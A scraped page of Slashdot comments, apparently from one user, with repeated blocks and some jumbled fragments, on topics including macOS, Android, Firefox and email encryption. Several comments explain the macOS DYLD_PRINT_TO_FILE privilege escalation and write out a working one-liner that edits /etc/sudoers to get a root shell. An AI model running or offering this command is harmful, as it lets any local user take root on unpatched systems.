I hate to repeat myself, but: Any exploit that allows execution of code in a user's own context can be escalated to root access by this exploit.
So.. Your PDF reader has an exploit that allows code execution. Without the dyld bug, the PDF bug only allows code to execute in the user's context. With the dyld bug, the PDF bug can give itself passwordless sudo access, and execute shell commands as root.
In my defense, have you seen some of the explanations that people offered for how the exploit actually works? I didn't think it was that hard to understand, but man, dang.
Apple clearly forgot to sanitize the new DYLD_PRINT_TO_FILE
They also forgot to set the close-on-exec flag for the file they open. If they had done that, then at least only the SUID application would be a target, instead of the SUID application and any child process.
which outputs the string "$(whoami) ALL=(ALL) NOPASSWD:ALL" into fd 3
Actually, $(whoami) will be executed and its output substituted by the shell. The username of the user will replace that string, so root access will be granted by sudo only to the user that runs the exploit, not to all users. This would give root access to all users:
Yes. The Linux dynamic linker had a list of environment variables that it cleared when executing in a SUID context, for security. A comma was removed from the list, which caused the compiler to concatenate two of the strings. The result was that neither of those two variables were cleared, and so "LD_PRELOAD" could be used to load a replacement shared library into a SUID binary.
When you run the example exploit command (simplified): Your shell sets the DYLD_PRINT_TO_FILE variable. Your shell executes newgrp. newgrp is SUID root. As newgrp is initializing, the dynamic linker opens the value of DYLD_PRINT_TO_FILE (/etc/sudoers) for debug log output. It should check whether it is executing in a SUID context, but doesn't. It should also set the close-on-exec flag for that file, but it doesn't do that either. The log file is now file descriptor 3. newgrp sets its uid and gids as appropriate for the calling user, and then starts a new shell. Because the close-on-exec flag wasn't set, the new shell still has/etc/sudoers open as file descriptor 3. The new shell reads commands from stdin. In this case, it gets "echo "$(whoami) ALL=(ALL) NOPASSWD:ALL" >&3". There is no more input, and the shell exits. Your shell runs sudo. The sudoers file has been modified, and now says that you have the right to run all commands without being prompted for a password. You get a root shell.
Furthermore, local access pretty much is the end of the road anyway.
Physical access is usually the end of the road. This exploit doesn't need that, it just needs shell access. Any exploit that allows execution of code in a user's own context can be escalated to root access by this exploit.
The arstechnica article is bull. AOSP is alive and well, and in no way is Google trying to extinguish it. The complaints in the arstechnica article mostly boil down to the fact that Google provides components that interact with its cloud services which aren't open source because they aren't useful except as an interface to those services. They're useful, but not essential to the operating system.
I wonder if AdBlock should refer people to alternative means of supporting web sites that publish useful content. I'd like to see something like Contributor gain widespread acceptance.
"Intolerant" is defining "intolerant" as: "Intolerant is baking a cake for a person that's on their fourth marriage while refusing to bake one for a lesbian couple that is finally able to marry after twenty years together"...
Passing moral judgement on the act may be intolerant, but providing an example of behavior which is objectively intolerant is not, itself, an intolerant behavior.
I'm not happy about the addition of the Pocket code, but mostly because it's a proprietary service.
I suspect that if you actually measured disk, network (download), or memory use for the Pocket code, "bloat" claims are going to look wildly exaggerated.
Pocket aside, Firefox is still my favorite browser, and one of the least bloated available. Compared to Chrome: smaller download, smaller install, uses considerably less RAM when displaying the same set of tabs, faster startup, faster JavaScript, and I can run my own sync server if I want.
But by far the most important: extensions on the mobile version! I hate browsing without AdBlock. And since I want to sync bookmarks between my mobile and desktop systems, I use Firefox on both.
You have an awfully high opinion of yourself, for someone who misses the obvious.
If the NSA wants to know with whom you exchange encrypted email, they can get that information by watching your email. PGP and SMIME don't encrypt SMTP envelope data (metadata).
Any graph that FB builds would hardly be useful. It would be incomplete, because there are many established means of sharing public key data. And beyond that, viewing someone's key isn't a strong indication that you will email them with encryption. It is more likely to mean that you received a signed message and want to verify the signature.
Drop the "sheeple" attitude, please. It isn't helping to secure, well, anything. It isn't good advocacy. It makes you look bad, and by extension, it makes everyone who advocates for secure communications look bad.
Self-signed keys offer the same level of security as PGP, with no additional drawbacks, and don't require additional software.
S/MIME was introduced as an alternative to PGP because all of the software required to implement it was already included in email clients that support SSL connections to servers. Because the implementation is simpler, S/MIME is superior to PGP in pretty much every way.
I'm a CyanogenMod user, but I don't think they're a serious player in the Android community.
Cyanogen split from their first actual customer, OnePlus, after a partnership that has been described as "rocky." I don't know what the problem was, but that sounds to me like the company isn't capable of meeting its customers needs.
Beyond poor customer service, the developers do not appear, from the outside, to have any experience project management. There was never a stable release of CyanogenMod 12.0, and hasn't been a stable release of 12.1 yet either. A reasonable release process would probably involve a code branch containing their tested, stabilized add-ons that they integrated with AOSP. New features should be developed in a separate branch and merged after they've been through testing, and during a window that's open after a release of the stable branch. None of that appears to be happening. The changelog for their nightly builds is a firehose of bug fixes and new features.
And beyond THAT, I've never heard of Cyanogen working to push any fixes upstream into AOSP. I would love to hear that they do. If not, they're building a patch set that will only grow over time, which will eternally increase their workload of integration with the upstream project
It's unsustainable. And that's sad, because I like one or two of the features they add to AOSP.
That fix is actually in the wrong place. The fix for that is tracked in kernel.org's bugzilla # 98501. I'm not linking directly as linking to bugzilla tends to place too high a load on those systems. It's impolite.
Neil Brown said that he'd push the fix to Linus "shortly" at 2015-05-20 23:06:58 UTC. I still don't see the fix in Linus' tree.
Watch for a fix titled "md/raid0: fix restore to sector variable in raid0_make_request"
Slashdot Mirror
Fuck you. I don't need gangsters taking another slice of my paycheck.
Then don't elect gangsters to run your union.
I think you mean 333 in the latter case?
I hate to repeat myself, but: Any exploit that allows execution of code in a user's own context can be escalated to root access by this exploit.
So.. Your PDF reader has an exploit that allows code execution. Without the dyld bug, the PDF bug only allows code to execute in the user's context. With the dyld bug, the PDF bug can give itself passwordless sudo access, and execute shell commands as root.
Yeah, sooome days.
In my defense, have you seen some of the explanations that people offered for how the exploit actually works? I didn't think it was that hard to understand, but man, dang.
Apple clearly forgot to sanitize the new DYLD_PRINT_TO_FILE
They also forgot to set the close-on-exec flag for the file they open. If they had done that, then at least only the SUID application would be a target, instead of the SUID application and any child process.
which outputs the string "$(whoami) ALL=(ALL) NOPASSWD:ALL" into fd 3
Actually, $(whoami) will be executed and its output substituted by the shell. The username of the user will replace that string, so root access will be granted by sudo only to the user that runs the exploit, not to all users. This would give root access to all users:
echo 'echo "ALL ALL=(ALL) NOPASSWD:ALL" >&3' | DYLD_PRINT_TO_FILE=/etc/sudoers newgrp; sudo -s
you'd need to be at the box locally for this to be worrisome
No, you wouldn't. On an unpatched box, this elevates any remote code execution bug into a remote root exploit.
sshd doesn't need to be running to get a user to run code in their context by social engineering or some other exploit.
I think even Linux was affected at one time.
Yes. The Linux dynamic linker had a list of environment variables that it cleared when executing in a SUID context, for security. A comma was removed from the list, which caused the compiler to concatenate two of the strings. The result was that neither of those two variables were cleared, and so "LD_PRELOAD" could be used to load a replacement shared library into a SUID binary.
When you run the example exploit command (simplified): /etc/sudoers open as file descriptor 3.
Your shell sets the DYLD_PRINT_TO_FILE variable.
Your shell executes newgrp. newgrp is SUID root.
As newgrp is initializing, the dynamic linker opens the value of DYLD_PRINT_TO_FILE (/etc/sudoers) for debug log output. It should check whether it is executing in a SUID context, but doesn't. It should also set the close-on-exec flag for that file, but it doesn't do that either. The log file is now file descriptor 3.
newgrp sets its uid and gids as appropriate for the calling user, and then starts a new shell. Because the close-on-exec flag wasn't set, the new shell still has
The new shell reads commands from stdin. In this case, it gets "echo "$(whoami) ALL=(ALL) NOPASSWD:ALL" >&3".
There is no more input, and the shell exits.
Your shell runs sudo. The sudoers file has been modified, and now says that you have the right to run all commands without being prompted for a password.
You get a root shell.
Uh... the exploit doesn't need to ask for a password. That's the point. Anyone who can execute any shell command can gain root privileges.
is that by luck or design?
We don't know. It's plausible that the code was cleaned up without considering the security aspects of the change.
Furthermore, local access pretty much is the end of the road anyway.
Physical access is usually the end of the road. This exploit doesn't need that, it just needs shell access. Any exploit that allows execution of code in a user's own context can be escalated to root access by this exploit.
The arstechnica article is bull. AOSP is alive and well, and in no way is Google trying to extinguish it. The complaints in the arstechnica article mostly boil down to the fact that Google provides components that interact with its cloud services which aren't open source because they aren't useful except as an interface to those services. They're useful, but not essential to the operating system.
http://arstechnica.com/informa...
"We aren't scientists. We haven't done many experiments to prove how much damage the radiation from Wi-Fi can cause."
If you haven't done any experiments to prove how much damage WiFi can cause, then how do you know that your APs are safe?
Does slashdot provide anything that a sub-reddit wouldn't?
I wonder if AdBlock should refer people to alternative means of supporting web sites that publish useful content. I'd like to see something like Contributor gain widespread acceptance.
https://www.google.com/contrib...
"Intolerant" is defining "intolerant" as: "Intolerant is baking a cake for a person that's on their fourth marriage while refusing to bake one for a lesbian couple that is finally able to marry after twenty years together"...
Passing moral judgement on the act may be intolerant, but providing an example of behavior which is objectively intolerant is not, itself, an intolerant behavior.
I'm not happy about the addition of the Pocket code, but mostly because it's a proprietary service.
I suspect that if you actually measured disk, network (download), or memory use for the Pocket code, "bloat" claims are going to look wildly exaggerated.
Pocket aside, Firefox is still my favorite browser, and one of the least bloated available. Compared to Chrome: smaller download, smaller install, uses considerably less RAM when displaying the same set of tabs, faster startup, faster JavaScript, and I can run my own sync server if I want.
But by far the most important: extensions on the mobile version! I hate browsing without AdBlock. And since I want to sync bookmarks between my mobile and desktop systems, I use Firefox on both.
It looks like they've added a page for 389-DS, unbeknownst to its authors, as well.
You have an awfully high opinion of yourself, for someone who misses the obvious.
If the NSA wants to know with whom you exchange encrypted email, they can get that information by watching your email. PGP and SMIME don't encrypt SMTP envelope data (metadata).
Any graph that FB builds would hardly be useful. It would be incomplete, because there are many established means of sharing public key data. And beyond that, viewing someone's key isn't a strong indication that you will email them with encryption. It is more likely to mean that you received a signed message and want to verify the signature.
Drop the "sheeple" attitude, please. It isn't helping to secure, well, anything. It isn't good advocacy. It makes you look bad, and by extension, it makes everyone who advocates for secure communications look bad.
if users don't want to self-sign keys
Self-signed keys offer the same level of security as PGP, with no additional drawbacks, and don't require additional software.
S/MIME was introduced as an alternative to PGP because all of the software required to implement it was already included in email clients that support SSL connections to servers. Because the implementation is simpler, S/MIME is superior to PGP in pretty much every way.
I'm a CyanogenMod user, but I don't think they're a serious player in the Android community.
Cyanogen split from their first actual customer, OnePlus, after a partnership that has been described as "rocky." I don't know what the problem was, but that sounds to me like the company isn't capable of meeting its customers needs.
Beyond poor customer service, the developers do not appear, from the outside, to have any experience project management. There was never a stable release of CyanogenMod 12.0, and hasn't been a stable release of 12.1 yet either. A reasonable release process would probably involve a code branch containing their tested, stabilized add-ons that they integrated with AOSP. New features should be developed in a separate branch and merged after they've been through testing, and during a window that's open after a release of the stable branch. None of that appears to be happening. The changelog for their nightly builds is a firehose of bug fixes and new features.
And beyond THAT, I've never heard of Cyanogen working to push any fixes upstream into AOSP. I would love to hear that they do. If not, they're building a patch set that will only grow over time, which will eternally increase their workload of integration with the upstream project
It's unsustainable. And that's sad, because I like one or two of the features they add to AOSP.
Notably, this is one of the two "developer edition" laptops produced under Project Sputnik. It's available with Ubuntu, and no Microsoft tax.
http://www.dell.com/ubuntu
https://sputnik.github.io/
That fix is actually in the wrong place. The fix for that is tracked in kernel.org's bugzilla # 98501. I'm not linking directly as linking to bugzilla tends to place too high a load on those systems. It's impolite.
Neil Brown said that he'd push the fix to Linus "shortly" at 2015-05-20 23:06:58 UTC. I still don't see the fix in Linus' tree.
Watch for a fix titled "md/raid0: fix restore to sector variable in raid0_make_request"
Does anyone remember the tear-down of Huawei's router OS, presented at DEFCON 20? Why would you let those people anywhere near your hardware?